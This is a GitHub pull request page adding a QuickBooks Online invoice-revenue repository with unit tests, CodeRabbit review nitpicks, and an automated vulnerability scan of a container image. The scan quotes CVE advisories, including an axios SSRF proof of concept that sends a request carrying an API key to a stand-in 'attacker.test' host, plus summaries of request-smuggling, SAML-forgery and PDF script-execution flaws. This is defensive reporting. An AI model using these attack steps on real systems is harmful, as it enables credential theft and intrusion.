Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

  • Introduced QBORepository class to handle QuickBooks Online integration, including methods for fetching and aggregating customer revenue data from invoices.
  • Added comprehensive unit tests for QBORepository, covering error handling, data aggregation, and retry logic for API calls.
  • Created supporting types for CustomerRevenueByRef and Invoice to enhance type safety and clarity in the implementation.

These changes establish a robust foundation for the QBO integration, improving revenue reporting capabilities within the application.

- Introduced `QBORepository` class to handle QuickBooks Online integration, including methods for fetching and aggregating customer revenue data from invoices.
- Added comprehensive unit tests for `QBORepository`, covering error handling, data aggregation, and retry logic for API calls.
- Created supporting types for `CustomerRevenueByRef` and `Invoice` to enhance type safety and clarity in the implementation.

These changes establish a robust foundation for the QBO integration, improving revenue reporting capabilities within the application.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner August 8, 2025 12:04
@coderabbitai
Copy link

coderabbitai bot commented Aug 8, 2025

Warning

Rate limit exceeded

@anatolyshipitz has exceeded the limit for the number of commits or files that can be reviewed per hour. Please wait 11 minutes and 38 seconds before requesting another review.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

📥 Commits

Reviewing files that changed from the base of the PR and between df392e5 and 4330d52.

📒 Files selected for processing (4)
  • workers/main/src/common/utils.test.ts (2 hunks)
  • workers/main/src/services/QBO/QBORepository.ts (1 hunks)
  • workers/main/src/services/QBO/types.test.ts (1 hunks)
  • workers/main/src/services/QBO/types.ts (1 hunks)
📝 Walkthrough

Walkthrough

A new QuickBooks Online (QBO) integration module is introduced, including the QBORepository class for fetching and aggregating paid invoice data by customer. Supporting TypeScript types are defined, and the module is made available via an index file. Comprehensive unit, integration, and type tests are added to validate error handling, API interaction, and type correctness. Additionally, a utility function generateJitter was added with corresponding tests.

Changes

Cohort / File(s) Change Summary
QBORepository Implementation
workers/main/src/services/QBO/QBORepository.ts
Introduces the QBORepository class implementing IQBORepository, handling OAuth2 token management, axios-based API requests with retry logic, invoice retrieval and aggregation, error wrapping, and date window calculation for effective revenue queries.
QBO Type Definitions
workers/main/src/services/QBO/types.ts
Adds TypeScript interfaces: CustomerRevenueByRef (customer revenue aggregation) and Invoice (invoice data structure).
QBO Module Entry Point
workers/main/src/services/QBO/index.ts
Adds an index file re-exporting all exports from QBORepository and types for unified module access.
QBORepository Unit Tests
workers/main/src/services/QBO/QBORepository.test.ts
Adds unit tests for QBORepository covering constructor logic, invoice aggregation, handling of empty responses, and error wrapping using mocked dependencies.
QBORepository Error Handling Tests
workers/main/src/services/QBO/QBORepository.errorHandling.test.ts
Adds tests specifically for error handling and retry logic in QBORepository, including OAuth2 token errors, malformed API responses, and retry condition logic for various HTTP/network errors.
QBORepository Integration Tests
workers/main/src/services/QBO/QBORepository.integration.test.ts
Adds integration tests for QBORepository with mocked dependencies, verifying correct aggregation of invoice data, handling of missing customer references, and correct date range calculation for revenue queries.
QBO Type Tests
workers/main/src/services/QBO/types.test.ts
Adds tests for the CustomerRevenueByRef and Invoice types, verifying structure, optional fields, and handling of paid/unpaid invoices.
QBO Index Tests
workers/main/src/services/QBO/index.test.ts
Adds tests for the QBO module entry point, ensuring correct exports and type instance creation.
Utility Function Addition
workers/main/src/common/utils.ts, workers/main/src/common/utils.test.ts
Adds generateJitter function to produce a cryptographically secure jitter value up to 10% of a base delay, with tests verifying jitter range, randomness, and scaling behavior. Minor formatting and assertion message adjustments in existing validateEnv tests.

Sequence Diagram(s)

sequenceDiagram
    participant Client
    participant QBORepository
    participant OAuth2Manager
    participant Axios
    participant QBO_API

    Client->>QBORepository: getEffectiveRevenue()
    QBORepository->>OAuth2Manager: getAccessToken()
    OAuth2Manager-->>QBORepository: accessToken
    loop For each page of invoices
        QBORepository->>Axios: GET /invoices (with accessToken)
        Axios->>QBO_API: API request
        QBO_API-->>Axios: Invoice data
        Axios-->>QBORepository: Invoice data
    end
    QBORepository->>QBORepository: aggregateInvoices()
    QBORepository-->>Client: CustomerRevenueByRef
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~40 minutes

Possibly related PRs

Suggested reviewers

  • killev
✨ Finishing Touches
  • 📝 Generate Docstrings
🧪 Generate unit tests
  • Create PR with unit tests
  • Post copyable unit tests in a comment
  • Commit unit tests in branch feature/65031_qbo_service

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai generate unit tests to generate unit tests for this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@github-actions
Copy link

github-actions bot commented Aug 8, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:7294e8a530264b2178c61fa140e736bea9ea269b469a277ca9e96d98d7e80d33
vulnerabilitiescritical: 4 high: 7 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 1
critical: 1 high: 1 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.023%
EPSS Percentile4th percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

high : CVE--2025--22874

Affected range>=1.24.0-0
<1.24.4
Fixed version1.24.4
EPSS Score0.012%
EPSS Percentile1st percentile
Description

Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

critical: 1 high: 0 medium: 0 low: 0 form-data 2.5.3 (npm)

pkg:npm/[email protected]

critical 9.4: CVE--2025--7783 Use of Insufficiently Random Values

Affected range<2.5.4
Fixed version2.5.4
CVSS Score9.4
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.076%
EPSS Percentile23rd percentile
Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.026%
EPSS Percentile6th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 form-data 4.0.0 (npm)

pkg:npm/[email protected]

critical 9.4: CVE--2025--7783 Use of Insufficiently Random Values

Affected range>=4.0.0
<4.0.4
Fixed version4.0.4
CVSS Score9.4
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.076%
EPSS Percentile23rd percentile
Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.418%
EPSS Percentile61st percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score31.580%
EPSS Percentile97th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.024%
EPSS Percentile5th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.130%
EPSS Percentile33rd percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (21)
workers/main/src/services/QBO/index.test.ts (2)

3-3: Prefer type-only imports for interfaces to avoid runtime import noise

Split value and type imports for clarity and to prevent unintended runtime imports.

Apply this diff:

-import { CustomerRevenueByRef, Invoice, QBORepository } from './index';
+import { QBORepository } from './index';
+import type { CustomerRevenueByRef, Invoice } from './index';

11-22: Runtime tests don’t validate TypeScript types—consider consolidating or using expectTypeOf

These tests assert object shapes at runtime; they do not verify compile-time types. Consider:

  • Consolidating these with types.test.ts to avoid duplication, or
  • Using Vitest’s expectTypeOf for type-level assertions.

Example:

import { expectTypeOf } from 'vitest';
import type { CustomerRevenueByRef, Invoice } from './index';

expectTypeOf(revenue).toMatchTypeOf<CustomerRevenueByRef>();
expectTypeOf(invoice).toMatchTypeOf<Invoice>();

Also applies to: 24-36

workers/main/src/services/QBO/index.ts (1)

2-2: Optional: explicitly re-export types to make type-only intent clear

This helps tooling and readers; keep wildcard for repository exports.

Example:

-export * from './types';
+export type { CustomerRevenueByRef, Invoice } from './types';
workers/main/src/services/QBO/QBORepository.test.ts (7)

1-5: Scope ESLint rule disables; avoid file-wide blanket disables

Limit disables to where they’re needed to keep test debt low.

Apply this diff to remove the file-wide disables:

-/* eslint-disable @typescript-eslint/no-explicit-any */
-/* eslint-disable @typescript-eslint/no-unsafe-call */
-/* eslint-disable @typescript-eslint/no-unsafe-member-access */
-/* eslint-disable @typescript-eslint/no-unsafe-assignment */
-/* eslint-disable @typescript-eslint/no-unsafe-return */

Then either:

  • Type the mocks precisely (preferred), or
  • Add targeted eslint-disable-next-line where unavoidable.
    Example precise typing for axios mock:
import type { AxiosInstance } from 'axios';
// ...
let mockAxiosInstance: Partial<AxiosInstance>;
mockAxiosInstance = { get: vi.fn() };

63-63: Avoid any in tests when easy to type

Use Partial for the axios mock instance.

Apply this diff:

-  let mockAxiosInstance: any;
+  import type { AxiosInstance } from 'axios';
+  let mockAxiosInstance: Partial<AxiosInstance>;

75-81: Narrow the any cast for OAuth2Manager mock implementation

Avoid as any; narrow to the actual surface used in the test.

Apply this diff:

-    mockOAuth2Manager.mockImplementation(
-      () =>
-        ({
-          getAccessToken: vi.fn().mockResolvedValue('test-access-token'),
-        }) as any,
-    );
+    mockOAuth2Manager.mockImplementation(
+      () =>
+        ({
+          getAccessToken: vi.fn().mockResolvedValue('test-access-token'),
+        }) as unknown as Pick<InstanceType<typeof OAuth2Manager>, 'getAccessToken'>,
+    );

104-112: Strengthen axios-retry assertions by checking policy details

Capture options passed to axiosRetry and assert status handling and retry behavior.

Example addition after constructing QBORepository:

const [, retryOpts] = mockAxiosRetry.mock.calls[0];
expect(retryOpts.retries).toBe(3);
expect(typeof retryOpts.retryDelay).toBe('function');
expect(typeof retryOpts.retryCondition).toBe('function');

// Optionally assert retryCondition for typical retryable cases:
const networkError = { code: 'ECONNRESET', isAxiosError: true };
expect(retryOpts.retryCondition(networkError as any)).toBe(true);

const rateLimit = { response: { status: 429 } };
expect(retryOpts.retryCondition(rateLimit as any)).toBe(true);

152-158: Edge case: include an unpaid invoice to ensure it’s excluded from effective revenue

Add a case where Balance > 0 to confirm it doesn’t affect totals.

Example:

mockAxiosInstance.get.mockResolvedValue(
  createMockApiResponse([
    createMockInvoice({ TotalAmt: 100, Balance: 100, CustomerRef: { value: 'customer3', name: 'Unpaid' } }),
  ]),
);
const result = await qboRepository.getEffectiveRevenue();
expect(result.customer3).toBeUndefined();

I can add this test in a follow-up commit if you want.


160-172: Avoid calling the method twice; assert both instance and message using one promise

This reduces flakiness and speeds up the test.

Apply this diff:

-      await expect(qboRepository.getEffectiveRevenue()).rejects.toThrow(
-        QuickBooksRepositoryError,
-      );
-
-      await expect(qboRepository.getEffectiveRevenue()).rejects.toThrow(
-        'QBORepository.getEffectiveRevenue failed: QBORepository.getPaidInvoices failed: API request failed',
-      );
+      const promise = qboRepository.getEffectiveRevenue();
+      await expect(promise).rejects.toBeInstanceOf(QuickBooksRepositoryError);
+      await expect(promise).rejects.toThrow(
+        'QBORepository.getEffectiveRevenue failed: QBORepository.getPaidInvoices failed: API request failed',
+      );

136-150: Optional: verify Authorization header usage with access token

If QBORepository attaches the token per-request, assert the header was set when calling invoices endpoint.

Example:

expect(mockOAuth2Manager).toHaveBeenCalled();
expect(mockAxiosInstance.get).toHaveBeenCalled();
const [, config] = mockAxiosInstance.get.mock.calls[0] ?? [];
expect(config?.headers?.Authorization).toBe('Bearer test-access-token');

If the token is set via an interceptor or default headers, adapt the assertion accordingly.

workers/main/src/services/QBO/types.test.ts (2)

3-3: Use type-only imports for interfaces

Make intent explicit and avoid runtime import overhead.

Apply this diff:

-import { CustomerRevenueByRef, Invoice } from './types';
+import type { CustomerRevenueByRef, Invoice } from './types';

5-109: Prefer type-level assertions over runtime shape checks for TypeScript interfaces

Replace or complement with Vitest’s expectTypeOf for compile-time verification.

Example:

import { expectTypeOf } from 'vitest';

// Inside tests:
expectTypeOf<Invoice>().toMatchTypeOf({
  TotalAmt: 0,
  Balance: 0,
  CustomerRef: { value: '', name: '' },
});

expectTypeOf<CustomerRevenueByRef>().toMatchTypeOf({
  anyCustomer: { customerName: '', totalAmount: 0, invoiceCount: 0 },
});

These fail at type-check time, offering stronger guarantees than runtime property checks.

workers/main/src/services/QBO/QBORepository.errorHandling.test.ts (3)

59-75: Capture and assert axios-retry retryCondition without unsafe casting

You can simplify the mock and ensure retryCondition was actually wired by asserting it was captured.

-    (mockAxiosRetry as ReturnType<typeof vi.fn>).mockImplementation(
+    vi.mocked(axiosRetry).mockImplementation(
       (
         instance,
         config: {
           retryCondition?: (error: {
             response?: { status: number };
             code?: string;
           }) => boolean;
         },
       ) => {
         if (config?.retryCondition) {
           mockRetryCondition = config.retryCondition;
         }
       },
     );
+
+    // Optionally, assert it's set to avoid false positives
+    expect(mockRetryCondition).toBeDefined();

111-127: Consider adding 'EAI_AGAIN' to retryable network errors test matrix

DNS lookup transient failures often surface as EAI_AGAIN. Adding it keeps test expectations aligned with typical retry policies.

-      const networkErrors = [
-        'ECONNRESET',
-        'ETIMEDOUT',
-        'ENOTFOUND',
-        'ECONNABORTED',
-      ];
+      const networkErrors = [
+        'ECONNRESET',
+        'ETIMEDOUT',
+        'ENOTFOUND',
+        'ECONNABORTED',
+        'EAI_AGAIN',
+      ];

148-166: Avoid double-executing the method under test when asserting error type and message

Currently the call is made twice solely to assert type and message. Assert both from a single invocation for faster and clearer tests.

-      await expect(qboRepository.getEffectiveRevenue()).rejects.toThrow(
-        QuickBooksRepositoryError,
-      );
-
-      await expect(qboRepository.getEffectiveRevenue()).rejects.toThrow(
-        'QBORepository.getEffectiveRevenue failed: QBORepository.getPaidInvoices failed: Token expired',
-      );
+      let caught: unknown;
+      try {
+        await qboRepository.getEffectiveRevenue();
+      } catch (e) {
+        caught = e;
+      }
+      expect(caught).toBeInstanceOf(QuickBooksRepositoryError);
+      expect((caught as Error).message).toContain(
+        'QBORepository.getEffectiveRevenue failed: QBORepository.getPaidInvoices failed: Token expired',
+      );
workers/main/src/services/QBO/QBORepository.integration.test.ts (2)

150-179: Ensure fake timers are always restored to avoid leakage across tests

Restoring timers inside the test works, but moving it to afterEach is safer if an assertion fails before useRealTimers() runs.

 describe('date window calculation', () => {
   it('should use correct date range for effective revenue months', async () => {
     const mockDate = new Date('2024-01-15');

-    vi.useFakeTimers();
+    vi.useFakeTimers();
     vi.setSystemTime(mockDate);
@@
-    vi.useRealTimers();
   });
+
+  afterEach(() => {
+    vi.useRealTimers();
+  });
 });

169-176: Also assert Authorization header is set with the OAuth2 bearer token

Validates that the token retrieved from OAuth2Manager is actually applied to the request.

-      expect(mockAxiosInstance.get).toHaveBeenCalledWith(
+      expect(mockAxiosInstance.get).toHaveBeenCalledWith(
         expect.any(String),
         expect.objectContaining({
-          params: {
-            query: expect.stringContaining(expectedQuery) as string,
-          },
+          params: {
+            query: expect.stringContaining(expectedQuery) as string,
+          },
+          headers: expect.objectContaining({
+            Authorization: 'Bearer test-access-token',
+          }),
         }),
       );
workers/main/src/services/QBO/QBORepository.ts (4)

63-66: Broaden retryable network errors to include 'EAI_AGAIN'

Transient DNS failures often surface as EAI_AGAIN. Including it reduces avoidable hard failures.

-    return ['ECONNRESET', 'ETIMEDOUT', 'ENOTFOUND', 'ECONNABORTED'].includes(
+    return ['ECONNRESET', 'ETIMEDOUT', 'ENOTFOUND', 'ECONNABORTED', 'EAI_AGAIN'].includes(
       error.code || '',
     );

68-79: Make Retry-After parsing robust (seconds or HTTP-date per RFC 7231)

Some servers send Retry-After as an HTTP-date. Support both while keeping exponential backoff as a fallback. Also clamp negatives.

-    if (error.response?.status === 429) {
-      const retryAfter = error.response.headers['retry-after'];
-
-      if (retryAfter) return parseInt(retryAfter) * 1000;
-    }
+    if (error.response?.status === 429) {
+      const retryAfter = error.response.headers['retry-after'];
+      if (retryAfter) {
+        // numeric seconds
+        if (/^\d+$/.test(retryAfter)) {
+          return Math.max(parseInt(retryAfter, 10) * 1000, 0);
+        }
+        // HTTP-date
+        const targetMs = Date.parse(retryAfter);
+        if (!Number.isNaN(targetMs)) {
+          const ms = targetMs - Date.now();
+          if (ms > 0) return ms;
+        }
+      }
+    }

93-101: Nit: avoid quoting numeric literal in QBO query filter

QBO fields like Balance are numeric; using Balance = 0 avoids any ambiguity. Current form likely works, but the numeric literal is cleaner.

-        const query = `SELECT * FROM Invoice WHERE TxnDate >= '${startDate}' AND TxnDate <= '${endDate}' AND Balance = '0' STARTPOSITION ${startPosition} MAXRESULTS ${maxResults}`;
+        const query = `SELECT * FROM Invoice WHERE TxnDate >= '${startDate}' AND TxnDate <= '${endDate}' AND Balance = 0 STARTPOSITION ${startPosition} MAXRESULTS ${maxResults}`;

